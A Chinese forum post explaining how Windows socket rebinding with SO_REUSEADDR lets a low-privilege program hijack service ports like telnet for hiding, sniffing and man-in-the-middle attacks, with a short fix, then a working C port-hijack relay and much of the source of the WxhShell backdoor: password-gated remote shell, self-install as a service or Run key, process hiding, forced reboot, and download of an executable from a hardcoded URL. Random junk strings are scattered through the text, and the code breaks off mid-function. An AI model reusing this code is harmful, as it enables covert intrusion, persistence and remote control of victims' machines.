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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {|c <8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qRT1Wre 3  
`d2}>  
  saddr.sin_family = AF_INET; )eop:!m  
}\k"azQ`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -Qgu 6Ty  
]S<y,d-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UKMr,{iy  
"z)dz,&T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NTS tk{s,  
+h_'hz&HlS  
  这意味着什么?意味着可以进行如下的攻击: pV]m6! y&  
fEf ",{I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s7e)Mt  
r e.chQ6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Nlemb:'eP3  
3 &.?9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 uUu]JDdz  
?W-J2tgss{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4 :RL[;  
y Dg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gVjI1{WTK  
<yz)iCU?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 - ?_aYJ  
3CK4a,]Dm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _doX&*9u  
Ve#VGlI  
  #include /_ }xTP"9  
  #include S G|``}OA  
  #include p!BZTwP  
  #include    7t=e"|^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~9c?g(0  
  int main() ikf!7-,  
  { (yIl]ZN*  
  WORD wVersionRequested; NPy{ =#k4  
  DWORD ret; >Vz Gx(7q  
  WSADATA wsaData; d%VG@./xq  
  BOOL val; NKf][!bi  
  SOCKADDR_IN saddr; u~FXO[b  
  SOCKADDR_IN scaddr; 5m{!Rrb  
  int err; a]XQM$T$  
  SOCKET s; ,4wVQ(,?cd  
  SOCKET sc; )u?pqFH  
  int caddsize; n*~=O'  
  HANDLE mt; ZRN*.  
  DWORD tid;   ~H!s{$.5  
  wVersionRequested = MAKEWORD( 2, 2 ); I} a`11xb`  
  err = WSAStartup( wVersionRequested, &wsaData ); "Opk:;.  
  if ( err != 0 ) { 7WK^eW"y8  
  printf("error!WSAStartup failed!\n"); fWiefv[&  
  return -1; Qz/o-W;  
  } AB<|iJC  
  saddr.sin_family = AF_INET; 'lNy&  
   Kcv7C{-/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 17g\XC@ Cl  
6p`AdDV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _1jd{? kt  
  saddr.sin_port = htons(23); #T:#!MKa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^]:w5\DG  
  { )jk X&7x  
  printf("error!socket failed!\n"); U5Say3r  
  return -1; R&}"En`$s  
  } F|p&v7T  
  val = TRUE; )N h67P3X"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ({JXv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e aLSq  
  { &5>R>rnB  
  printf("error!setsockopt failed!\n"); *ub]M3O  
  return -1; :L gFd  
  } 8OE=7PK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^UI{U1N~Bz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'q%56WAJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |"h# Q[3  
0G`_dMN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y"~Tf{8  
  { j9"uxw@  
  ret=GetLastError(); e0iE6:i  
  printf("error!bind failed!\n"); ( HCB\!g  
  return -1; R~OameRR  
  } q SR\=:$  
  listen(s,2); -4ityS @  
  while(1) ^uB9EP*P  
  { ?m.WqNBH7  
  caddsize = sizeof(scaddr); S9/oBxGN  
  //接受连接请求 ~\_aT2j0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cojtQ D6  
  if(sc!=INVALID_SOCKET) (T;4'c  
  { ?/ xk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gz fs9e  
  if(mt==NULL) Yd]y`J?#  
  { NAd|n+[d  
  printf("Thread Creat Failed!\n"); 4qMqA T  
  break; b[&A,ZPh$@  
  } I&JVY8'  
  } >iD&n4TK  
  CloseHandle(mt); egQB!%D  
  } W4n;U-Hb  
  closesocket(s); H",w$$e F  
  WSACleanup(); Co[fq3iX#  
  return 0; ]WlE9z7:8  
  }   /d;C)%$  
  DWORD WINAPI ClientThread(LPVOID lpParam) Gx Z'"x  
  { TG4?"0`I5  
  SOCKET ss = (SOCKET)lpParam; :|cC7, S  
  SOCKET sc; X(s HFVU+  
  unsigned char buf[4096]; Hy4c{Ij  
  SOCKADDR_IN saddr; G.v zz-yG  
  long num; _,*ld#'s  
  DWORD val; P$LHsg]  
  DWORD ret; o,o,(sII  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9G njJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nx{_^sK  
  saddr.sin_family = AF_INET; _$s ;QI]x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *12,MO>go  
  saddr.sin_port = htons(23); -|E|-'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R^8L^8EL  
  { D7q%rO|F'  
  printf("error!socket failed!\n"); zTA+s 2  
  return -1; &'%b1CbE  
  } ]2O52r  
  val = 100; dkTewT6'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M"cB6{st[  
  { #4hxbRN  
  ret = GetLastError(); tA#7Xr+  
  return -1; 5f5bhBZ<  
  } n~~0iU )  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /S4$qr cM  
  { j1/.3\  
  ret = GetLastError(); 8 MUY  
  return -1; +um Ua  
  } E=N44[`.G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $P<T`3Jg  
  { dnRS$$9#  
  printf("error!socket connect failed!\n"); 2R}9wDP  
  closesocket(sc); `re9-HM  
  closesocket(ss); *Uq1 q  
  return -1; 0 #*M'C#  
  } =Xwr*FTr  
  while(1) DH7B4P  
  { b*C\0D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P-B3<~*i!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;F>$\"aG  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %x$1g)  
  num = recv(ss,buf,4096,0); "J51\8G@@  
  if(num>0) LOm*=MVex  
  send(sc,buf,num,0); ]J<2a`IK!  
  else if(num==0) bbGSh|u+P  
  break; q. zBm@:  
  num = recv(sc,buf,4096,0); TVaD',5_V%  
  if(num>0) LJ^n6 m|_  
  send(ss,buf,num,0); j_=A)B?  
  else if(num==0) B 4s^X`?z  
  break; #jY\l&E  
  } 9  Vn  
  closesocket(ss); t9zPUR  
  closesocket(sc); f~U~f}Uw4  
  return 0 ; 2t9JiH  
  } U5rcI6  
+|Tz<\.C  
?-'m#5i"  
========================================================== /-Saz29f^Q  
FE}!I  
下边附上一个代码,,WXhSHELL (_:k s  
9VqE:c /  
========================================================== N(*Xjy+PX  
%BdQ.\4DS  
#include "stdafx.h" &b!L$@6  
!m7`E  
#include <stdio.h> ].E89_|O  
#include <string.h> n-HQk7=mQ  
#include <windows.h> T{9pNf-  
#include <winsock2.h> @|e4.(9A  
#include <winsvc.h> fY)Dx c&ue  
#include <urlmon.h> <n8K"(sy}  
w$ zX.;s  
#pragma comment (lib, "Ws2_32.lib") |r5e#3w  
#pragma comment (lib, "urlmon.lib") kNC.^8ryz[  
XUI9)Ne  
#define MAX_USER   100 // 最大客户端连接数 $-HP5Kj(k-  
#define BUF_SOCK   200 // sock buffer F0 yvV6;  
#define KEY_BUFF   255 // 输入 buffer +>zjTP7\e"  
2Fi ~GY_  
#define REBOOT     0   // 重启 87QK&S\  
#define SHUTDOWN   1   // 关机 7'c ;$~  
hLs<g!*O  
#define DEF_PORT   5000 // 监听端口 M%*D}s-QE  
RK7vR~kf<  
#define REG_LEN     16   // 注册表键长度 Z*AT &7  
#define SVC_LEN     80   // NT服务名长度 GM1z@i\5  
M @|n"(P  
// 从dll定义API IJWUNKqo=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uL\b*rI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jkTh)Bm|'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Se0!-NUK0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2 kP0//  
y. xt7 F1  
// wxhshell配置信息 }6Ut7J]a|  
struct WSCFG { 1z .  
  int ws_port;         // 监听端口 tl:V8sYTP  
  char ws_passstr[REG_LEN]; // 口令 Yf=an`"  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5=;LHS*   
  char ws_regname[REG_LEN]; // 注册表键名 {}sF ?wZf  
  char ws_svcname[REG_LEN]; // 服务名 kIC $ai6.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O\3 L x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |4$.mb.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~}lYp^~:J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,M4G_U[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lpjeEaw o4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q9i&]V[`  
qocN:Of1  
}; E{Kc$,y  
$nkvp`A  
// default Wxhshell configuration _H,xnh#nZ  
struct WSCFG wscfg={DEF_PORT, Su4&qY  
    "xuhuanlingzhe", `u<\ 4&W  
    1, t2L }  
    "Wxhshell", PRdyc+bf  
    "Wxhshell", $ \yZ;Z:  
            "WxhShell Service",  wZ(H[be  
    "Wrsky Windows CmdShell Service", Qu  x1N  
    "Please Input Your Password: ", %9 q]  
  1, C`J>Gm  
  "http://www.wrsky.com/wxhshell.exe", H%nA"-  
  "Wxhshell.exe" EZ"n3#/  
    }; qG6?k}\\  
Q.U wtH  
// 消息定义模块 *]7$/%.D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3} 7`?$ 5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rN3qTp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iBM;$0Y  
char *msg_ws_ext="\n\rExit."; PM?F;mj  
char *msg_ws_end="\n\rQuit."; o]@Mg5(8Q  
char *msg_ws_boot="\n\rReboot..."; Q)IL]S  
char *msg_ws_poff="\n\rShutdown..."; I[l8@!0  
char *msg_ws_down="\n\rSave to "; f}!Eu  
X([8TR  
char *msg_ws_err="\n\rErr!"; _.{I1*6Y2  
char *msg_ws_ok="\n\rOK!"; cIS?EW]S%X  
A_4.>g  
char ExeFile[MAX_PATH]; A6?!BB=]  
int nUser = 0; tl=H9w&@  
HANDLE handles[MAX_USER]; 1_jd1 UT  
int OsIsNt; NimW=X;c  
V JJ6q  
SERVICE_STATUS       serviceStatus; {f(RYj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R<)^--n  
7'g{:dzS*3  
// 函数声明 61@;3yV  
int Install(void); pBxyq"z  
int Uninstall(void); L25v7U  
int DownloadFile(char *sURL, SOCKET wsh); MQY}}a-oug  
int Boot(int flag); P3k@ptc-K  
void HideProc(void); rqi/nW  
int GetOsVer(void); mm:g9j  
int Wxhshell(SOCKET wsl); |>~pA}  
void TalkWithClient(void *cs); tW -f_0a.  
int CmdShell(SOCKET sock); T&q0TBT  
int StartFromService(void); bzWWW^kNL  
int StartWxhshell(LPSTR lpCmdLine); {8pN]=SaJ~  
,+>JQ82  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6b wzNY 7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (MGYX_rD  
UOa n  
// 数据结构和表定义 M(Tlkr  
SERVICE_TABLE_ENTRY DispatchTable[] = MJM<  
{ *~\R0ddz  
{wscfg.ws_svcname, NTServiceMain}, [e`e bn[C  
{NULL, NULL} )>]@@Trx  
}; J=t@2  
M-V{(  
// 自我安装 O%)Wo?)HM  
int Install(void) ["1Iz{  
{ };;k5z I%  
  char svExeFile[MAX_PATH]; I /z`)  
  HKEY key; GO]5~ 4k  
  strcpy(svExeFile,ExeFile); V%Ww;Ca]I  
tyU'[LF?  
// 如果是win9x系统,修改注册表设为自启动 ?p'DgL{  
if(!OsIsNt) { w(oi6kg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { })y B2Q0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U}R (  
  RegCloseKey(key); ?J,K[.z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xl ]1TB@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d#CAP9n;'  
  RegCloseKey(key); ^N&@7s  
  return 0;  X]4j&QB  
    } ]S 3l' "  
  } Y[rRz6.*(  
} Q;?rqi ,  
else { eXAJ%^iD  
Q#5~"C  
// 如果是NT以上系统,安装为系统服务 ;J,`v5z0:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7V2xg h!W  
if (schSCManager!=0) O?$]/d  
{ U[{vA6  
  SC_HANDLE schService = CreateService n.7-$1  
  ( J3XrlSc  
  schSCManager, .$ X|96~$  
  wscfg.ws_svcname, c<ORmg6  
  wscfg.ws_svcdisp, R.Kz nJ  
  SERVICE_ALL_ACCESS, kfgkZ"9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %W^Zob  
  SERVICE_AUTO_START, Vr:`?V9Q2(  
  SERVICE_ERROR_NORMAL, s8  5l  
  svExeFile, dK41NLGQ  
  NULL, oTg 'N  
  NULL, x c|1?AFj  
  NULL, ^#!\VGnL  
  NULL, V-9\@'gc  
  NULL .dsB\ C  
  ); v Q51-.g  
  if (schService!=0) BB imP  
  { #~ZaN;u  
  CloseServiceHandle(schService); ]Q#k"Je  
  CloseServiceHandle(schSCManager); _9y! ,ST  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DMA`Jx  
  strcat(svExeFile,wscfg.ws_svcname); 7$mB.\|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6x;!E&<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [P`<y#J3F  
  RegCloseKey(key); |RL\2j|  
  return 0; e F)my  
    } P9)L1l<3I  
  } n.XgGT=L  
  CloseServiceHandle(schSCManager); $;rvKco)%  
} W[:CCCDL  
} `<-/e%8  
<k 'zz:[c!  
return 1; 4BZ7R,m#.  
} W~FU!C?]  
TN/y4(j  
// 自我卸载 pM9M8d  
int Uninstall(void) ]app9  
{ #nq_R  
  HKEY key; %-[*G;c'w  
Z^Yy sf  
if(!OsIsNt) { 2U3e!V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  =>XjChM  
  RegDeleteValue(key,wscfg.ws_regname); ~ga WZQXyu  
  RegCloseKey(key); LqLhZBU9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P#}vi$dZ  
  RegDeleteValue(key,wscfg.ws_regname); eo~b]D  
  RegCloseKey(key); VRTJKi  
  return 0; Z23T 2  
  } [6Q1yNE  
} M)~sL1)  
} -O\f y!  
else { BO2s(8  
r>gf&/Pl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I|wC`VgB  
if (schSCManager!=0) B`YD>oCN  
{ CwD=nT5`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vjd(Z  
  if (schService!=0) {Wndp%  
  { t'Zv)Wu1E  
  if(DeleteService(schService)!=0) { ' g d=\gV  
  CloseServiceHandle(schService); UOyM=#ipY  
  CloseServiceHandle(schSCManager); J%lrXm(l{  
  return 0; ^r,0aNzAs  
  } 97/ 4J  
  CloseServiceHandle(schService); EQQ@nW{;  
  } #/5eQTBD  
  CloseServiceHandle(schSCManager); 1je/l9L  
} cl`7|;v|?  
} y t7>,  
M9G?^mW1sT  
return 1; % K,cGgp^)  
} 3 2"f'{  
T[<554  
// 从指定url下载文件 Q5A,9ovNZ  
int DownloadFile(char *sURL, SOCKET wsh) G'`^U}9V\  
{ "gFw:t"VV  
  HRESULT hr;  uAs!5h  
char seps[]= "/"; ^\[c][fo  
char *token; _GM?`  
char *file; < {h \Msx%  
char myURL[MAX_PATH]; hhz#I A6,  
char myFILE[MAX_PATH]; ! ?>I  
hAt4+O&P  
strcpy(myURL,sURL); G9Noch9 g  
  token=strtok(myURL,seps); GQjwr(  
  while(token!=NULL) l%xTF@4e  
  { NwdrJw9  
    file=token; xm5?C>vu(  
  token=strtok(NULL,seps); #^yOW^  
  } i6$HwRZm#  
DWEDL[{  
GetCurrentDirectory(MAX_PATH,myFILE); e*}:t H  
strcat(myFILE, "\\"); IVy<>xpt  
strcat(myFILE, file); p2< 927z  
  send(wsh,myFILE,strlen(myFILE),0); VLVDi>0i  
send(wsh,"...",3,0); $|@pY| f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $xK\$kw\  
  if(hr==S_OK) "ZPgl 8  
return 0; 0FLCN!i1  
else $:# :"  
return 1; mnBTZ/ZjS  
3t9CN )*  
} cucmn*o?  
V7`vLs-  
// 系统电源模块 5;G0$M0  
int Boot(int flag) )Gk?x$pY@  
{ vexF|'!}0#  
  HANDLE hToken; EZzR"W/  
  TOKEN_PRIVILEGES tkp; f*A B Im  
mU  
  if(OsIsNt) { >ts}\.(]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8TG|frS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UG_ PrZd  
    tkp.PrivilegeCount = 1; h?$J;xn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E 0l&d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fmJK+  
if(flag==REBOOT) { Jw#7b[a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *B \ @L  
  return 0; ;(jL`L F  
} U&{w:P  
else { X y`2ux+>/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GY.iCub  
  return 0; oO`a{n-  
} US=K}B=g  
  } OCJt5#e~A  
  else { 'rS\9T   
if(flag==REBOOT) { jKo9y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qa\,)<'D:  
  return 0; |z"$^|@d?  
} ^*+M9e9Z  
else { nP<u.{q L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^TjC  
  return 0;  I{ki))F  
} = Ezg3$%-  
} xK)<7 63q>  
AAW] Y#UwW  
return 1; lrwQ >N  
} + !" Y C  
.C5<uW5-R  
// win9x进程隐藏模块 hoM%|,0  
void HideProc(void) 3 {hUp81>  
{ Fw{68ggk  
8SL E*c^8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -3 ANNj  
  if ( hKernel != NULL ) yPe9KN_  
  { ,fTC}>s4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u^B!6Sj8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y0-?"R8  
    FreeLibrary(hKernel); +?ZP3vgGA  
  } #_`p 0wY  
0%%y9;o  
return; 5''k|B>  
} cH$( *k9%M  
dtTfV.y4w  
// 获取操作系统版本 ]Hq,Pr_+  
int GetOsVer(void) `B&=ya|bl  
{ M(:bM1AD`u  
  OSVERSIONINFO winfo; 9Iq<*\V 4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >R_m@$`  
  GetVersionEx(&winfo); \ykA7Y%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6d6Dk>(V  
  return 1; Cg%Owe/E?0  
  else 2hso6Oy/v{  
  return 0; Y:#B0FD,gC  
} [u=yl0f  
gdoaXw;Sy  
// 客户端句柄模块 3Nwix_&S  
int Wxhshell(SOCKET wsl) yB/F6/B~  
{ ^c/3 !"wK  
  SOCKET wsh; <gGO  
  struct sockaddr_in client; S.`hl/  
  DWORD myID; z C$F@  
t9*e"QH  
  while(nUser<MAX_USER) oR!h eCnu  
{ Z]WX 7d  
  int nSize=sizeof(client); __s'/ 6u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |uz\XK  
  if(wsh==INVALID_SOCKET) return 1; ` ~^My~f  
J%B/(v`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u|.|dv'mbp  
if(handles[nUser]==0) @$L|   
  closesocket(wsh); ,quUGS  
else 1Z;cb0:  
  nUser++; %K8YZc(&  
  } R.l!KIq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &iq'V*+-\  
0-aaLC~Z>  
  return 0; #O,w{S  
} !};Ll=dz  
i92Z`jiR  
// 关闭 socket ]B8iQr-!  
void CloseIt(SOCKET wsh) 8''1H<f  
{ tJQZRZViu  
closesocket(wsh); jk_yrbLc  
nUser--; \ K}KnJ  
ExitThread(0); -|s% 5p|  
} uPN^o.,/.  
I![/bwObG  
// 客户端请求句柄 '@WBq!p  
void TalkWithClient(void *cs) 8 $H\b &u  
{ $!!y v'K  
Pg`+Q^^6S  
  SOCKET wsh=(SOCKET)cs; UM`$aPz  
  char pwd[SVC_LEN]; s?;V!t  
  char cmd[KEY_BUFF]; tn _\E/Q  
char chr[1]; xC= $ym]  
int i,j; i$}G[v<4  
)+hJi/g  
  while (nUser < MAX_USER) { _8-1wx  
Er8F_,M+  
if(wscfg.ws_passstr) { W!kF(O NA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dD'KP4Io@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %}-ogi/c  
  //ZeroMemory(pwd,KEY_BUFF); wv\"(e7(  
      i=0; r4gLoHD)  
  while(i<SVC_LEN) { 'Z,7{U1P  
*%_M?^  
  // 设置超时 `WxGU  
  fd_set FdRead; X}h}3+V  
  struct timeval TimeOut; fpjFO&ML  
  FD_ZERO(&FdRead); |F'eT 4  
  FD_SET(wsh,&FdRead); e.(d?/!F_  
  TimeOut.tv_sec=8; .#a7?LUH  
  TimeOut.tv_usec=0; n}1hmAh Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M&",7CPD(1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !Q%r4Nr  
z Z~t ,>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l ObY  
  pwd=chr[0]; H15!QxD#  
  if(chr[0]==0xd || chr[0]==0xa) { &`>dY /Y  
  pwd=0; 2v4&'C  
  break; 5 ^l-3s?M  
  } 2\O!vp>|-  
  i++; =*6frC~  
    } tBwPB#:W  
DAtAc(05)  
  // 如果是非法用户,关闭 socket JlE+CAny  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Dk")/ ib  
} -s le7k  
zH~g5xgh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c$u#U~~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0lcwc"_DZX  
LS# _K-  
while(1) { 673G6Nk  
Zw/??Tq b  
  ZeroMemory(cmd,KEY_BUFF); K7(GdKZe  
L+lye Ir'  
      // 自动支持客户端 telnet标准   AGVipI #  
  j=0; aK,\e/Oo  
  while(j<KEY_BUFF) { g&ba]?[A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #a8i($k{e  
  cmd[j]=chr[0]; 1OqVNp%K  
  if(chr[0]==0xa || chr[0]==0xd) { f_hG2Sk  
  cmd[j]=0; chE}`I?  
  break; jlUT9Zp  
  } eR3MU]zF  
  j++; +K;%sAZy  
    } RzLeR%O  
Z%r8oj\n  
  // 下载文件 : 9zEne4  
  if(strstr(cmd,"http://")) { k9\n='OI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pb@$RAU6 3  
  if(DownloadFile(cmd,wsh)) ;D[I/U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (t,|FkVLV  
  else MpIP)bdq7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PbMvM  
  } W%9"E??c  
  else { 5(Xq58nhxI  
g J$m'kC;  
    switch(cmd[0]) { MSt@yKq  
  Z$)jPDSr  
  // 帮助 B|;?#okx  
  case '?': { 9!D c=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); . ve a[  
    break; -#AO4xpI  
  } 3[m~6 Ys  
  // 安装 4'`*Sce}  
  case 'i': { |qq29dS?  
    if(Install()) 5Ak>/QF9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Az(J @  
    else u)P)r,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `M_w^&6+n  
    break; 2QIo|$  
    } VZA>ErB  
  // 卸载 FvBnmYn W  
  case 'r': { %-NG eN8  
    if(Uninstall()) <bBgevL+_K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *AYjMCo  
    else !t&C,@Ox  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u$x'P <b  
    break; @=l.J+lh  
    } \3j4=K'nE  
  // 显示 wxhshell 所在路径 l-[5Zl;"  
  case 'p': { @#5?tk0  
    char svExeFile[MAX_PATH]; (G{2ec:?  
    strcpy(svExeFile,"\n\r"); ~$ 4!C'0  
      strcat(svExeFile,ExeFile); hXn@vK6  
        send(wsh,svExeFile,strlen(svExeFile),0); T@N)BfkB  
    break; qNbgN{4  
    } Ymg,NkiP0  
  // 重启 i$'#7U  
  case 'b': { ogE|8`Tq^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M j |"+(  
    if(Boot(REBOOT)) : DBJ2n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %TQ5#{Y  
    else { sH)40QmO{  
    closesocket(wsh); ]LSlo593  
    ExitThread(0); 0 9*?'^s4  
    } ew8Manx  
    break; Hb9r.;r<EW  
    } 'jU;.vZex  
  // 关机 v;R+{K87  
  case 'd': { 0 aiE0b9c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T7 XbbU  
